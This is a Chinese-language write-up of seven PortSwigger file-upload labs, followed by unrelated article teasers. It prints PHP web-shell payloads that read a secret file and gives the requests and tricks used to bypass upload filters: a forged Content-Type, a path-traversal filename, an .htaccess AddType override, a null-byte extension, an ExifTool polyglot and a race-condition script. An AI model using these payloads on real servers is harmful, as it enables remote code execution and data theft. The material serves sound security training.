burp靶场--文件上传

burp靶场–文件上传

https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

1.文件上传

1、原理:文件上传漏洞是指Web服务器允许用户将文件上传到其文件系统,而不充分验证文件的名称、类型、内容或大小等内容。如果不能正确地执行这些限制,可能意味着即使是基本的图像上传功能也可以用来上传任意的和潜在危险的文件。这甚至可以包括支持远程代码执行的服务器端脚本文件
2、危害:在某些情况下,上传文件的行为本身就足以造成损害。其他攻击可能涉及对文件的后续HTTP请求,通常是为了触发服务器执行该文件

实验1:通过Webshell上传远程执行代码

### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。在将用户上传的文件存储到服务器的文件系统之前,它不会对它们执行任何验证。
要完成该实验,请上传一个基本的 PHP Web shell 并使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
通过 Burp 代理流量时,登录您的帐户并注意上传头像图像的选项。
上传任意图像,然后返回您的帐户页面。请注意,您的头像的预览现在显示在页面上。
在 Burp 中,转到代理 > HTTP 历史记录。单击过滤器栏可打开“过滤器设置”对话框。在“按 MIME 类型过滤”下,启用“图像”复选框,然后应用更改。
在代理历史记录中,请注意您的图像是使用GET请求获取的/files/avatars/<YOUR-IMAGE>。将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密文件内容的脚本。例如:
<?php echo file_get_contents('/home/carlos/secret'); ?>
使用头像上传功能上传恶意PHP文件。响应中的消息确认已成功上传。
在 Burp Repeater 中,更改请求的路径以指向您的 PHP 文件:
GET /files/avatars/exploit.php HTTP/1.1
发送请求。请注意,服务器已执行您的脚本并在响应中返回其输出(卡洛斯的秘密)。
提交解决实验室问题的秘密。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验2:通过绕过 Content-Type 限制上传 Webshell

### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。它尝试阻止用户上传意外的文件类型,但依赖于检查用户可控的输入来验证这一点。
要完成该实验,请上传一个基本的 PHP Web shell 并使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取 Carlos 秘密内容的脚本。例如:
<?php echo file_get_contents('/home/carlos/secret'); ?>
尝试上传此脚本作为您的头像。响应表明您只能上传 MIME 类型image/jpeg或image/png.
在 Burp 中,返回代理历史记录并找到POST /my-account/avatar用于提交文件上传的请求。将其发送到 Burp Repeater。
在 Burp Repeater 中,转到包含POST /my-account/avatar请求的选项卡。在消息正文中与您的文件相关的部分,将指定更改Content-Type为image/jpeg.
发送请求。请注意,响应表明您的文件已成功上传。
切换到包含请求的另一个中继器选项卡GET /files/avatars/<YOUR-IMAGE>。在路径中,将图像文件的名称替换为exploit.php并发送请求。请注意,响应中返回了 Carlos 的秘密。
提交解决实验室问题的秘密。

在这里插入图片描述
提交flag,完成实验。
在这里插入图片描述

实验3:Webshell通过路径遍历上传

【文件名使用路径遍历绕过了上传目录不执行限制】

### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。服务器被配置为阻止执行用户提供的文件,但可以通过利用第二个漏洞来绕过此限制。
要完成该实验,请上传一个基本的 PHP Web shell 并使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取 Carlos 秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
上传此脚本作为您的头像。请注意,该网站似乎并没有阻止您上传 PHP 文件。
在 Burp Repeater 中,转到包含GET /files/avatars/<YOUR-IMAGE>请求的选项卡。在路径中,将图像文件的名称替换为exploit.php并发送请求。请注意,服务器只是以纯文本形式返回 PHP 文件的内容,而不是执行脚本并返回输出。
在Burp的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求并将其发送到Burp Repeater。
在 Burp Repeater 中,转到包含POST /my-account/avatar请求的选项卡,找到请求正文中与 PHP 文件相关的部分。在Content-Disposition标头中,更改filename以包含目录遍历序列:Content-Disposition: form-data; name="avatar"; filename="../exploit.php"
发送请求。请注意,响应显示The file avatars/exploit.php has been uploaded.这表明服务器正在从文件名中删除目录遍历序列。
通过对正斜杠 ( ) 字符进行 URL 编码来混淆目录遍历序列/,结果是:filename="..%2fexploit.php"
发送请求并观察消息现在显示The file avatars/../exploit.php has been uploaded.“这表明服务器正在对文件名进行 URL 解码”。
在浏览器中,返回您的帐户页面。
在 Burp 的代理历史记录中,找到该GET /files/avatars/..%2fexploit.php请求。请注意,响应中返回了 Carlos 的秘密。这表明该文件已上传到文件系统层次结构中的更高目录 ( /files),并随后由服务器执行。请注意,这意味着您还可以使用 请求此文件GET /files/exploit.php。
提交解决实验室问题的秘密。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

实验4:通过扩展程序黑名单绕过Webshell上传

### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。某些文件扩展名被列入黑名单,但由于此黑名单配置中存在根本缺陷,因此可以绕过此防御。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
尝试上传此脚本作为您的头像。该响应表明您不允许上传带有.php扩展名的文件。
在 Burp 的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求。在响应中,请注意标头显示您正在与 Apache 服务器通信。将此请求发送到 Burp Repeater。
在 Burp Repeater 中,转到请求选项卡POST /my-account/avatar并找到与 PHP 文件相关的正文部分。进行以下更改:
将参数值更改filename为.htaccess。
将标头的值更改Content-Type为text/plain。
将文件的内容(您的 PHP 负载)替换为以下 Apache 指令:AddType application/x-httpd-php .l33t
这将任意扩展名 ( .l33t) 映射到可执行 MIME 类型application/x-httpd-php。当服务器使用该mod_php模块时,它已经知道如何处理这个问题。发送请求并观察文件已成功上传。
使用 Burp Repeater 中的后退箭头返回到上传 PHP 漏洞的原始请求。
将参数值filename从更改exploit.php为exploit.l33t。再次发送请求,发现文件已成功上传。
切换到包含请求的另一个中继器选项卡GET /files/avatars/<YOUR-IMAGE>。在路径中,将图像文件的名称替换为exploit.l33t并发送请求。请注意,响应中返回了 Carlos 的秘密。由于我们的恶意.htaccess文件,该.l33t文件就像一个.php文件一样被执行。
提交解决实验室问题的秘密。

在这里插入图片描述
在这里插入图片描述
上传.htaccess文件:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验5:通过混淆的文件扩展名上传 Webshell

### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。某些文件扩展名被列入黑名单,但可以使用经典的混淆技术绕过这种防御。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp Repeater。
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取 Carlos 秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
尝试上传此脚本作为您的头像。响应表明您只能上传 JPG 和 PNG 文件。
在 Burp 的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求。将其发送到 Burp Repeater。
在 Burp Repeater 中,转到请求选项卡POST /my-account/avatar并找到与 PHP 文件相关的正文部分。在Content-Disposition标头中,更改参数的值filename以包含 URL 编码的空字节,后跟.jpg扩展名:filename="exploit.php%00.jpg"
发送请求并观察文件已成功上传。请注意,该消息将文件引用为exploit.php,表明空字节和.jpg 扩展名已被删除。
切换到包含请求的另一个中继器选项卡GET /files/avatars/<YOUR-IMAGE>。在路径中,将图像文件的名称替换为exploit.php并发送请求。请注意,响应中返回了 Carlos 的秘密。
提交解决实验室问题的秘密。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

实验6:通过多语言 Webshell 上传远程执行代码【图片马绕过】

### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。尽管它会检查文件的内容以验证它是否是真实图像,但仍然可以上传并执行服务器端代码。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
登录并尝试将脚本上传为您的头像。请注意,即使您尝试使用在之前的实验中学到的一些技术,服务器也会成功阻止您上传非图像文件。
创建一个多语言 PHP/JPG 文件,该文件本质上是一个普通图像,但在其元数据中包含您的 PHP 负载。执行此操作的一个简单方法是从命令行下载并运行 ExifTool,如下所示:exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
这会将您的 PHP 有效负载添加到图像的Comment字段中,然后使用扩展名保存图像.php。在浏览器中,上传多语言图像作为您的头像,然后返回您的帐户页面。
在 Burp 的代理历史记录中,找到该GET /files/avatars/polyglot.php请求。START使用消息编辑器的搜索功能在响应中的二进制图像数据中查找字符串。在此和END字符串之间,您应该看到卡洛斯的秘密,例如:START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END
提交解决实验室问题的秘密。

在这里插入图片描述
上传:
在这里插入图片描述
在这里插入图片描述

实验7:通过竞争条件上传 Webshell

### 实验要求:
该实验室包含一个存在漏洞的图像上传功能。尽管它对上传的任何文件执行强大的验证,但可以通过在处理文件的方式中利用竞争条件来完全绕过此验证。
要解决该实验,请上传一个基本的 PHP Web shell,然后使用它来窃取文件的内容/home/carlos/secret。使用实验室横幅中提供的按钮提交此机密。
您可以使用以下凭据登录您自己的帐户:wiener:peter### 实验操作:
登录并上传图像作为您的头像,然后返回您的帐户页面。
在 Burp 中,转到代理 > HTTP 历史记录,您会注意到您的图像是GET使用/files/avatars/<YOUR-IMAGE>.
在您的系统上,创建一个名为 的文件exploit.php,其中包含用于获取卡洛斯秘密内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
登录并尝试将脚本上传为您的头像。请注意,即使您尝试使用在之前的实验中学到的一些技术,服务器似乎也成功阻止您上传非图像文件。
如果您尚未从 BApp 商店 将Turbo Intruder扩展添加到 Burp,请添加该扩展。
右键单击POST /my-account/avatar用于提交文件上传的请求,然后选择扩展 > Turbo Intruder > 发送到 Turbo Intruder。涡轮入侵者窗口打开。
将以下脚本模板复制并粘贴到 Turbo Intruder 的 Python 编辑器中:def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)request1 = '''<YOUR-POST-REQUEST>'''request2 = '''<YOUR-GET-REQUEST>'''# the 'gate' argument blocks the final byte of each request until openGate is invokedengine.queue(request1, gate='race1')for x in range(5):engine.queue(request2, gate='race1')# wait until every 'race1' tagged request is ready# then send the final byte of each request# (this method is non-blocking, just like queue)engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)
在脚本中,替换为包含您的文件的<YOUR-POST-REQUEST>整个请求。您可以从 Turbo Intruder 窗口顶部复制并粘贴此内容。 POST /my-account/avatarexploit.php
替换为获取上传的 PHP 文件的请求<YOUR-GET-REQUEST>。GET最简单的方法是从代理历史记录中复制请求GET /files/avatars/<YOUR-IMAGE>,然后将路径中的文件名更改为exploit.php.
在 Turbo Intruder 窗口的底部,单击Attack。该脚本将提交一个POST上传exploit.php文件的请求,随后立即GET向/files/avatars/exploit.php.
在结果列表中,请注意,某些GET请求收到了包含 Carlos 秘密的 200 响应。这些请求在 PHP 文件上传之后、验证失败并被删除之前到达服务器。
提交解决实验室问题的秘密。
笔记
如果您选择手动构建GET请求,请确保使用\r\n\r\n序列正确终止它。另请记住,Python 将保留多行字符串中的所有空格,因此您需要相应地调整缩进以确保发送有效的请求。

在这里插入图片描述
将请求报文发送到intruder:
在这里插入图片描述

在这里插入图片描述
repeater模块手动上传重放包:同时观察intruder,发现690包就已经收到代码执行的结果了:在这里插入图片描述
而且可以看到在690-727这个请求包的时间段内是正常访问了恶意代码的:
在这里插入图片描述
在这里插入图片描述
竞态上传另一种方法:使用turbo Intruder插件:
先到burp商店安装:
在这里插入图片描述
在这里插入图片描述
在turbo intruder窗口中粘贴以下脚本:

def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)request1 = '''<YOUR-POST-REQUEST>'''request2 = '''<YOUR-GET-REQUEST>'''# the 'gate' argument blocks the final byte of each request until openGate is invokedengine.queue(request1, gate='race1')for x in range(5):engine.queue(request2, gate='race1')# wait until every 'race1' tagged request is ready# then send the final byte of each request# (this method is non-blocking, just like queue)engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)

在这里插入图片描述
点击攻击后,查看状态码200的响应包。

其他情况的文件上传:

1、上传恶意客户端脚本
1、虽然可能无法在服务器上执行脚本,但仍然可以上载脚本以进行客户端攻击。如果可以上载HTML文件或SVG图像,则可以使用<script>标记创建存储的XSS有效负载。————2、如果上载的文件随后出现在其他用户访问的页面上,则他们的浏览器将在尝试呈现该页面时执行该脚本(由于同源策略限制,这些类型的攻击只有在上载文件来自与上载文件相同的源时才会起作用)2、利用上载文件解析中的漏洞
1、如果上传的文件看起来存储和提供都很安全,那么最后的办法就是尝试利用解析或处理不同文件格式时特有的漏洞————2、如知道服务器解析基于XML的文件,如MicrosoftOffice文件或. xls文件,这可能是潜在的XXE注射液攻击。 3、使用PUT上载文件
值得注意的是,一些web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这可能会提供上传恶意文件的替代方法,即使无法通过Web界面使用上传功能。PUT /images/1.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49<?php echo file_get_contents('/path/to/file'); ?>

参考:

### portswigger官方文件上传:
https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
### 【Burp系列】超全文件上传漏洞实验
https://mp.weixin.qq.com/s/yQ4UOsQMRwVr2Fb5lvYLQA
### PayloadsAllTheThings 文件上传:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
### owasp文件上传:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/09-Test_Upload_of_Malicious_Files

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/242199.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 Zabbix + Grafana 搭建服务器监控系统

搭建 Linux 服务器监控的目的是自己有一台阿里云服务器内存是 2g 的 , 多开一些软件就会把内存和 CPU 使用率弄的很高&#xff0c;最终导致服务器卡死。 所以基于这个痛点&#xff0c;想知道当前的 CPU 和内存是多少。阿里云 ECS 控制台中也提供对服务器的监控 , 但是为了学习…

Unity之触发器

目录 &#x1f4d5;一、触发器概念 &#x1f4d5;二、碰撞与触发的区别 &#x1f4d5;三、触发器小实例 一、触发器概念 第一次玩侠盗猎车手是在小学&#xff0c;从那以后就开启了我的五星好市民之路。 下面是小编在小破站截的图&#xff0c;这是罪恶都市最开始的地方&a…

初识VUE

文章目录 Vue是什么1.创建一个Vue实例2.插值表达式{{ }}3.Vue的响应式特性4.开发者工具的安装 Vue是什么 概念&#xff1a;Vue是一个用于构建用户界面的渐进式框架 ①构建用户界面&#xff1a;基于数据渲染出用户看到的界面 ②渐进式&#xff1a;循序渐进 ③ 框架&#xff1…

如何本地部署虚拟数字克隆人 SadTalker

环境&#xff1a; Win10 SadTalker 问题描述&#xff1a; 如何本地部署虚拟数字克隆人 SadTalker 解决方案&#xff1a; SadTalker&#xff1a;学习逼真的3D运动系数&#xff0c;用于风格化的音频驱动的单图像说话人脸动画 单张人像图像&#x1f64e; ♂️音频&#x1f3…

彩超框架EchoSight开发日志记录

EchoSight开发记录 作者&#xff1a;蒋志强 不定期更新EchoSight开发日志记录&#xff0c;最近更新于2024年1月19日 1.背景 由于某些不可抗逆的原因&#xff0c;离开了以前的彩超大厂&#xff0c;竞业在家&#xff0c;难得有空闲的时间。我计划利用这段时间 自己独立 从零开…

HCIA—— 16每日一讲:HTTP和HTTPS、无状态和cookie、持久连接和管线化、(初稿丢了,这是新稿,请宽恕我)

学习目标&#xff1a; HTTP和HTTPS、无状态和cookie、持久连接和管线化、HTTP的报文、URI和URL&#xff08;初稿丢了&#xff0c;这是新稿&#xff0c;请宽恕我&#x1f636;‍&#x1f32b;️&#xff09; 学习内容&#xff1a; HTTP无状态和cookieHTTPS持久连接和管线化 目…

【咕咕送书 | 第八期】羡慕同学进了大厂核心部门,看懂这本书你也能行!

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏:《linux深造日志》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! ⛳️ 写在前面参与规则 ✅参与方式&#xff1a;关注博主、点赞、收藏、评论&#xff0c;任意评论&#xff08;每人最多评论…

用Photoshop来制作GIF动画

录了个GIF格式的录屏文件&#xff0c;领导让再剪辑下&#xff0c;于是用Photoshop2023&#xff08;PS版本低至CS6操作方式一样&#xff09;进行剪辑&#xff0c;录屏文件有约1400帧&#xff0c;由于我处理的帧数太多&#xff0c;PS保存为GIF格式时&#xff0c;还是挺耗时的&…

unocss+iconify技术在vue项目中使用20000+的图标

安装依赖 npm i unocss iconify/json配置依赖 vue.config.js文件 uno.config.js文件 main.js文件 使用 <i class"i-fa:user"></i> <i class"i-fa:key"></i>class名是 i- 开头&#xff0c;跟库名:图标名&#xff0c;那都有什么库…

Jvm相关知识(面试高级必备)

类的实例化顺序 先静态、先父后子 先静态&#xff1a;父静态>子静态 优先级&#xff1a;父类>子类 静态代码块>非静态代码块>构造函数 一个类的实例化过程&#xff1a; ①&#xff0e;父类的static代码块&#xff0c;当前类的static; ②&#xff0e;顺序执行…

C++大学教程(第九版)5.25去除break语句 5.27去除cintinue语句

5.25题目 (去除break和continue)break和continue 语句遭到质疑的原因是它们的非结构化性。实际上,break和continue 语句总能用结构化的语句取代。请详述如何从程序的一条循环语中去除break语句&#xff0c;并用某种结构化的手段替代。提示:break 语句用于在循环体内离开一个循…

【高等数学之不定积分】

一、什么是不定积分? 不定积分&#xff0c;我们从英文层面来浅显的了解一下它的意义。 1.1、基本概念 从上面我们可以看出&#xff0c;导数和积分是互逆运算。 二、不定积分运算法则 三、常用积分公式 四、第一类换元积分法 4.1、常用凑微分公式 4.2、小练习 五、第二类…

【C语言】- 设置控制台标题、编码、文字颜色、大小和字体

【C语言】- 设置控制台标题、编码、文字颜色、大小和字体 文章目录 【C语言】- 设置控制台标题、编码、文字颜色、大小和字体1 - 设置控制台标题2 - 设置控制台编码3 - 设置控制台字体和大小参考链接 1 - 设置控制台标题 因为要用到 Windows API&#xff0c;所以需要包含头文件…

LLM:Scaling Laws for Neural Language Models (上)

论文&#xff1a;https://arxiv.org/pdf/2001.08361.pdf 发表&#xff1a;2020 摘要1&#xff1a;损失与模型大小、数据集大小以及训练所用计算量成比例&#xff0c;其中一些趋势跨越了七个量级以上。 2&#xff1a;网络宽度或深度等其他架构细节在很大范围内影响较小。3&…

JVM篇--垃圾回收高频面试题

JVM垃圾回收 1 简单说下Java垃圾回收机制&#xff1f; 首先在java运行过程中&#xff0c;其实程序员并不需要去显示的调用程序来释放对象的内存&#xff0c;而是由虚拟机来完成的&#xff0c;具体来看是在jvm中有个垃圾回收线程&#xff0c;这个线程是个守护线程&#xff0c;…

揭秘AI换脸技术:从原理到应用

随着人工智能技术的不断发展&#xff0c;AI换脸技术逐渐成为人们关注的焦点。这项神奇的技术能够将一张图像或视频中的人脸替换成另一张人脸&#xff0c;让人不禁惊叹科技的神奇。那么&#xff0c;AI换脸技术究竟是如何实现的呢&#xff1f;本文将带您深入了解AI换脸技术的原理…

【JavaEE】网络原理:网络中的一些基本概念

目录 1. 网络通信基础 1.1 IP地址 1.2 端口号 1.3 认识协议 1.4 五元组 1.5 协议分层 什么是协议分层 分层的作用 OSI七层模型 TCP/IP五层&#xff08;或四层&#xff09;模型 网络设备所在分层 网络分层对应 封装和分用 1. 网络通信基础 1.1 IP地址 概念:IP地址…

Qt 状态机框架:The State Machine Framework (二)

传送门: Qt 状态机框架:The State Machine Framework (一) Qt 状态机框架:The State Machine Framework (二) 1、利用并行态避免态的组合爆炸 假设您想在单个状态机中对汽车的一组互斥属性进行建模。假设我们感兴趣的属性是干净与肮脏,以及移动与不移动。需要四个相互排斥的…

手把手教你如何快速定位bug,如何编写测试用例,快来观摩......

手把手教你如何快速定位bug,如何编写测试用例,快来观摩......手把手教你如何快速定位bug,如何编写测试用例,快来观摩......作为一名测试人员如果连常见的系统问题都不知道如何分析&#xff0c;频繁将前端人员问题指派给后端人员&#xff0c;后端人员问题指派给前端人员&#xf…

cetos7搭建部署k8s 版本1.28

主机分配 内存最少是4G cpu个数最少两个 IP内存CPU主机名192.168.231.12044K1 192.168.231.12144K2192.168.231.12244K3 关闭防火墙 systemctl stop firewalled 关闭swap vim /etc/fstab 设置主机名称 hostnameset 安装docker 三个主机 初始化集群 在mas…